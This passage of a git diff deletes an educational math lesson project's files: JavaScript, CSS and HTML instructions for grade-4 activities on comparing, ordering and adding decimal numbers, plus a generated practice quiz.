-    operand = placeValue(op2);
-    drawDigits(2,50+6*columnWidth,operand_whole);
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal);
-    drawComment(1,10*columnWidth+10,'Expand');
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  if(!typeFlag){ //show sequence
-    drawComment(2,10*columnWidth+10,'exchange');
-    swapflag = false;
-    sorted = ops;
-    if(direction == 0){//ascending
-        for(ix=0;ix<sorted.length-1;ix++){
-            if(sorted[ix]>sorted[ix+1]){
-                swap(sorted,ix,ix+1);
-                swapflag = true;
-            };
-        }
-    }else{//descending
-        for(ix=0;ix<sorted.length-1;ix++){
-            if(sorted[ix]<sorted[ix+1]){
-                swap(sorted,ix,ix+1);
-                swapflag = true;
-            };
-        }
-    };      
-    //check operands in pairs
-    //if out of sequence, exchange, set swapflag = true
-    //display exchange by blanking each column
-    //expand operands with ordinal number
-  }else{//compare two operands
-    swapflag = false;
-    alert('compare');
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    alert(operand1[1]+' '+operand1[0]+' '+operand2[1]+' '+operand2[0]);
-    msd = compare_by_digit(operand1[1],operand1[0],operand2[1],operand2[0]);
-    op = generate_compare(op1,op2);
-    if(op=='>'){
-        if(msd<operand1[1].length){
-            drawHighlight(1,50+((msd+1)*columnWidth),operand1[1].reverse()[msd],'red');
-        }else{
-            drawHighlight(1,50+(operand1[1].length + msd+1)*columnWidth,operand1[0].reverse()[msd-operand[1].length],'red');
-        };
-    }else if(op=='<'){
-        if(msd<operand2[1].length){
-            drawHighlight(2,50+(1+msd)*columnWidth,operand[1].reverse()[msd],'red');
-        }else{
-            drawHighlight(2,50+(1+msd+operand2[1].length)*columnWidth,operand[0].reverse()[msd-operand2[1].length],'red');
-        };
-    };
-    drawHighlight(2,50,op,'black');
-  };
-  if(swapflag){
-      doPhase(1);
-  }else{
-      doPhase(2);
-  };
-};
-
-steps = [phase1,phase2];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        $('#content')
-           .empty()
-           .html("<p>"+question+"</p>"+
-                 "<p></p>solution: "+solution+"</p>"+
-                 "<p>Let's check it out.</p>"
-           );
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p>'+
-                '<p>Press apply to practice what you have learned.</p>'); 
-      return;
-  };
-  acase = cases[caseno];
-  caseno += 1;
-  if (acase.length>2){//sequence
-      direction = acase.pop()
-      ops = acase;
-      typeFlag = false;
-  }else{//compare
-      op1 = acase[0];
-      op2 = acase[1];
-      typeFlag = true;
-  };
-  if(typeFlag){//build compare question
-      op = generate_compare(op1,op2);
-      question = 'Compare: '+op1+' ? '+op2+' using "<", ">", or "="'
-      solution = op;
-  }else{
-      //build ordering question
-      sorted=ops;
-      solution = [];
-      if (direction == 0){//ascending
-          sorted.sort(function(a,b){return a-b});
-      } else {//descending
-          //descending
-          sorted.sort(function(a,b){return b-a});
-      };
-      for(i=0;i<ops.length;i++){
-          for(j=0;j<ops.length;j++){
-              if (ops[i]==sorted[j]){
-                  solution[i] = j+1;
-              };
-          };
-      };
-      question = 'Arrange '+ops[0]+', '+ops[1]+', '+ops[2]+', '+ops[3]+', '+ops[4] +
-                 ' in ';
-      if (direction == 0){
-          question = question + 'ascending sequence.'
-      }else{
-          question = question + 'descending sequence.'
-      };
-  }; 
-  $('<div id="workArea" />')
-      .empty()
-      .html('<p>should be question</p><p>should be answer</p>')
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer();
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m02/map412m02a01/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/lesson.js b/Save_Mathematics/P4/map412m02/map412m02a01/lesson.js
deleted file mode 100644
index 1e39f65..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m02/map412m02a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m02/map412m02a01/source.txt b/Save_Mathematics/P4/map412m02/map412m02a01/source.txt
deleted file mode 100755
index 2025f33..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a01/source.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<h3>
- Comparing and Ordering Decimal Numbers
-</h3>
-<p>
- In this activity, you will see how we can show that one decimal number is greater than ('&gt;') another or less than ('&lt;') or equal to another. We will also arrange a sequence of decimal numbers in ascending or descending sequence.
-</p>
-<p>
- Press start to begin.
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/a.txt b/Save_Mathematics/P4/map412m02/map412m02a02/a.txt
deleted file mode 100755
index b5e88dd..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<h3>
- Comparing and Ordering Decimal Numbers
-</h3>
-<p>In this activity, you will be able to practice comparing and orering decimal 
-numbers. If your answer is not correct, the computer will show how to get the 
-correct answer.</p>
-<p>For comparison, you wil be given two decimal numbers. Enter '>' , '<' or '=' 
-depending on whether the first number is greater than, less than, or equal to the 
-second number.</p>
-<p>For ordering, You will be given an unordered set of decimal numbers. For 
-example,10.7, 22.4, 464.3, 0.7, 9. The order of these numbers in ascending sequence is 
-4,5,1,2,3. The order of these numbers in descending sequence is 3,2,1,5,4. Enter 
-your answer without spaces.</p>
-<p>Press start to begin</p>
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/css/divs.css b/Save_Mathematics/P4/map412m02/map412m02a02/css/divs.css
deleted file mode 100755
index 608f44e..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m02/map412m02a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m02/map412m02a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/description.py b/Save_Mathematics/P4/map412m02/map412m02a02/description.py
deleted file mode 100644
index 7559a90..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m02a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson-karma.js
deleted file mode 100755
index 789782c..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:56.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m02/map412m02a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m02/map412m02a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson.js b/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson.js
deleted file mode 100755
index 776f9ad..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/js/lesson.js
+++ /dev/null
@@ -1,234 +0,0 @@
- //present question - compare two decimal numbers or give the ascending or 
-//descending sequence of a set of unordered decimal numbers
-//If wrong, for comparison, show the two operands with a ? in comment
-//Expand the two operands
-//Highlight the most significant digit which is not equal
-//Show the correct symbol to the left of the second operand (and replace ? 
-//with the correct symbol in the comment.
-//For ordering, expand operands in place value table with ordinal number to left 
-//of table. Bubble sort keeping ordinal number with operand.
-//As comment, show question, then show answer.
-
-var op;
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = expandNumber(operandw);
-    operand_decimal = expandNumber(operandd);
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-  if(typeFlag){ //ordering sequence of decimal numbers
-    //expand operands - number them to the left
-    for(ix=0;ix<ops.length;ix++){
-        operand = placeValue(ops[ix]);
-        drawDigits(1+ix,50+6*columnWidth,operand[0]);
-        pos = operand[1].length;
-        drawDigits(1+ix,50+(6+pos)*columnWidth,operand[1]);
-        drawHighlight(1+ix,50,ix+1+"",'black');
-    };
-    drawComment(1,10*columnWidth+10,'Expand');
-  }else{ //compare two decimal numbers
-    //expand operands
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    drawDigits(1,50+6*columnWidth,operand_whole);
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal);
-    operand = placeValue(op2);
-    drawDigits(2,50+6*columnWidth,operand_whole);
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal);
-    drawComment(1,10*columnWidth+10,'Expand');
-  };
-  doPhase(1);
-};
-
-function phase2(){
-  drawComment(2,10*columnWidth+10,'exchange');
-  if(typeFlag){ //show sequence
-    swapflag = false;
-    sorted = ops;
-    if(direction == 0){//ascending
-        for(ix=0;ix<sorted.length-1;ix++){
-            if(sorted[ix]>sorted[ix+1]){
-                swap(sorted,ix,ix+1);
-                swapflag = true;
-            };
-        }
-    }else{//descending
-        for(ix=0;ix<sorted.length-1;ix++){
-            if(sorted[ix]<sorted[ix+1]){
-                swap(sorted,ix,ix+1);
-                swapflag = true;
-            };
-        }
-    };      
-    //check operands in pairs
-    //if out of sequence, exchange, set swapflag = true
-    //display exchange by blanking each column
-    //expand operands with ordinal number
-  }else{//compare two operands
-    msd = compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal);
-    op = generate_compare(op1,op2);
-    if(op=='>'){
-        if(msd<op1_whole.length){
-            drawHighlight(1,50+((msd+1)*columnWidth),op1_whole.reverse()[msd],'red');
-        }else{
-            drawHightlight(1,50+(op1_whole.length + msd+1)*columnWidth,op1_decimal.reverse()[msd-op1_whole.length],'red');
-        };
-    }else if(op=='<'){
-        if(msd<op2_whole.length){
-            drawHighlight(2,50+(1+msd)*columnWidth,op2_whole.reverse()[msd],'red');
-        }else{
-            drawHightlight(2,50+(1+msd+op2_whole.length)*columnWidth,op2_decimal.reverse()[msd-op2_whole.length],'red');
-        };
-    };
-    op = generate_compare(op1,op2);
-    drawHighlight(2,50,op,'black');
-  };
-  if(swapflag){
-      doPhase(1);
-  }else{
-      doPhase(2);
-  };
-};
-
-steps = [phase1,phase2];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val();
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+question+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  if (Math.random() < 0){
-      //build compare question
-      typeFlag = false;
-      op1 = getRandom(0,999999999)/1000;
-      op2 = getRandom(0,999999999)/1000;
-      op = generate_compare(op1,op2);
-      question = 'Compare: '+op1+' ? '+op2+' using "<", ">", or "="'
-      solution = op;
-  }else{
-      //build ordering question
-      typeFlag = true;
-      k = 5;
-      ops=[];
-      sorted=[];
-      solution = [];
-      for(i=0;i<k;i++){
-          ops[i] = getRandom(0,999999999)/1000;
-          sorted[i] = ops[i];
-      };
-      if (Math.random() < 0.5){
-          //ascending
-          direction = 'ascending';
-          sorted.sort(function(a,b){return a-b});
-      } else {
-          //descending
-          direction = 'descending';
-          sorted.sort(function(a,b){return b-a});
-      };
-      for(i=0;i<ops.length;i++){
-          for(j=0;j<ops.length;j++){
-              if (ops[i]==sorted[j]){
-                  solution[i] = j+1;
-              };
-          };
-      };
-      question = 'Arrange '+ops[0]+', '+ops[1]+', '+ops[2]+', '+ops[3]+', '+ops[4] +' in ';
-      if (direction == 'ascending'){
-          question = question + 'ascending sequence.'
-      }else{
-          question = question + 'descending sequence.'
-      };
-  }; 
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m02/map412m02a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/lesson.js b/Save_Mathematics/P4/map412m02/map412m02a02/lesson.js
deleted file mode 100644
index dfc2be5..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m02/map412m02a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m02/map412m02a02/source.txt b/Save_Mathematics/P4/map412m02/map412m02a02/source.txt
deleted file mode 100755
index 1cdfa89..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a02/source.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-<p>
- Guided Practice: Reading and Writing Decimals
-</p>
-<p>
- The student will hear a series of decimal numbers in English word. He/she will enter the number in figures. If the answer is not correct, the student will repeat the number in words, displaying the corresponding figures.
-</p>
-<p>
- The student will be shown a series of decimal numbers in figures. The student will enter the number in words guided by a word bank. The student can also record the number in words and play it back to compare to the number spoken by the computer (Espeak).
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/a.txt b/Save_Mathematics/P4/map412m02/map412m02a03/a.txt
deleted file mode 100755
index cb5d579..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/a.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about  the ordering property of decimal numbers.
-</p>
-<p>
- When given two decimal numbers, you will show whether they are equal or which one  is greater using the '&gt;', '&lt;', or '=' symbols.
-</p>
-<p>
- When given three or more decimal numbers, you will rearrange them in ascending or  descending sequence. For example, 1.2, 0.7, 4.64, 1.001, .1 in ascending sequence is 5,2,4,1,3.
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/css/divs.css b/Save_Mathematics/P4/map412m02/map412m02a03/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/css/lesson.css b/Save_Mathematics/P4/map412m02/map412m02a03/css/lesson.css
deleted file mode 100755
index a757922..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 1198px;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson.js b/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson.js
deleted file mode 100755
index 865983d..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/js/lesson.js
+++ /dev/null
@@ -1,91 +0,0 @@
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_compare(op1,op2){
-  if (op1 ==  op2){
-      return '=';
-  } else if (op1 < op2){
-      return '<';
-  } else {
-      return '>';
-  };
-};
- 
-function generate_opportunity(questions){
-    //build quiz.js
-    var ops = [];
-    var sorted = [];
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        if (Math.random() < 0.5){
-            //build compare question
-            op1 = generate_decimal(.001,999.999);
-            op2 = generate_decimal(.001,999.999);
-            op = generate_compare(op1,op2);
-            quiztxt = quiztxt + "{ques:'"+op1+" [<,>,=] "+op2+"', ans:'"+op+"'},\n"
-        } else {
-            //build ordering question
-            k = 5;
-            results = [];
-            for(i=0;i<k;i++){
-                ops[i] = generate_decimal(0.001,999.999);
-                sorted[i] = ops[i];
-            };
-            if (Math.random() < 0.5){
-                //ascending
-                direction = 'ascending';
-                sorted.sort(function(a,b){return a-b});
-            } else {
-                //descending
-                direction = 'descending';
-                sorted.sort(function(a,b){return b-a});
-            }
-            for(i=0;i<ops.length;i++){
-                for(j=0;j<ops.length;j++){
-                    if (ops[i]==sorted[j]){
-                        results[i] = j+1;
-                    };
-                };
-            };
-            opstxt = '';
-            anstxt = '';
-            for(i=0;i<ops.length;i++){
-                opstxt = opstxt + ops[i];
-                anstxt = anstxt + results[i]
-                if(i<ops.length-1){
-                    opstxt = opstxt + ','; 
-                    anstxt = anstxt + ',';
-                };
-            };
-            quiztxt=quiztxt+"{ques:'"+direction+":"+opstxt
-            quiztxt=quiztxt+"', ans:'"+anstxt+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location + "";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m02/map412m02a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/js/quiz.js b/Save_Mathematics/P4/map412m02/map412m02a03/js/quiz.js
deleted file mode 100755
index d65d679..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'94.465 [<,>,=] 3.565', ans:'>'},
-{ques:'1.066 [<,>,=] 7.265', ans:'<'},
-{ques:'72.089 [<,>,=] 99.250', ans:'<'},
-{ques:'46.783 [<,>,=] 53.260', ans:'<'},
-{ques:'ascending:86.938,3.389,17.960,94.189,99.620', ans:'3,1,2,4,5'},
-{ques:'descending:58.056,43.741,71.151,85.168,93.867', ans:'4,5,3,2,1'},
-{ques:'6.446 [<,>,=] 70.440', ans:'<'},
-{ques:'descending:.554,75.116,9.089,86.193,81.514', ans:'5,3,4,1,2'},
-{ques:'descending:86.724,19.525,83.045,67.278,17.861', ans:'1,4,2,3,5'},
-{ques:'descending:18.192,49.766,.434,86.210,39.495', ans:'4,2,5,1,3'},
-{ques:'.940 [<,>,=] 29.439', ans:'<'},
-{ques:'95.527 [<,>,=] 9.173', ans:'>'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m02/map412m02a03/source.txt b/Save_Mathematics/P4/map412m02/map412m02a03/source.txt
deleted file mode 100755
index 8596dfc..0000000
--- a/Save_Mathematics/P4/map412m02/map412m02a03/source.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>
- In this activity, you will have an opportunity to show what you have learned about  the ordering property of decimal numbers.
-</p>
-<p>
- When given two decimal numbers, you will show whether they are equal or which one  is greater using the '&gt;', '&lt;', or '=' symbols.
-</p>
-<p>
- When given three or more decimal numbers, you will rearrange them in ascending or  descending sequence. For example, 1.2, 0.7, 4.64, 1.001, .1 in ascending sequence is 5,2,4,1,3.
-</p>
-<p>
- Press Start to begin.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m03/activities.js b/Save_Mathematics/P4/map412m03/activities.js
deleted file mode 100755
index 81e5ada..0000000
--- a/Save_Mathematics/P4/map412m03/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m03a01','blue'],
-['2','2','map4','basic','map412m03a02','blue'],
-['3','3','map4','basic','map412m03a03','blue'],
-['4','4','map4','basic','map412m03a04','blue'],
-['5','5','map4','basic','map412m03a05','blue'],
-['6','6','map4','basic','map412m03a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m03/map412m03a01/a.txt b/Save_Mathematics/P4/map412m03/map412m03a01/a.txt
deleted file mode 100755
index dc3d456..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a01/a.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<h1>
- Introduction:
-</h1>
-<h3 style="text-align: center;">
- Addition and Subtraction of Decimals
-</h3>
-<!--NG-->
-<p>
- The computer will show examples of forming the sum of pairs or sets of decimal numbers.
-</p>
-<p>
- The computer will show that the numbers need to be expanded into a place table. The computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals as it does with whole numbers. Therefore, the procedures which the student already knows for adding and subtracting whole numbers also applies to the addition and subtraction of decimals.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map412m03/map412m03a01/css/divs.css b/Save_Mathematics/P4/map412m03/map412m03a01/css/divs.css
deleted file mode 100755
index 585b388..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m03/map412m03a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m03/map412m03a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson.js b/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson.js
deleted file mode 100755
index 700e52c..0000000
--- a/Save_Mathematics/P4/map412m03/map412m03a01/js/lesson.js
+++ /dev/null
@@ -1,264 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-var caseno, cases, op1, op2;
-caseno = 0;
-cases = [[2.1,2.1],[123.456,654.321]];
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    op1 = ops[0];
-    op2 = ops[1];
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
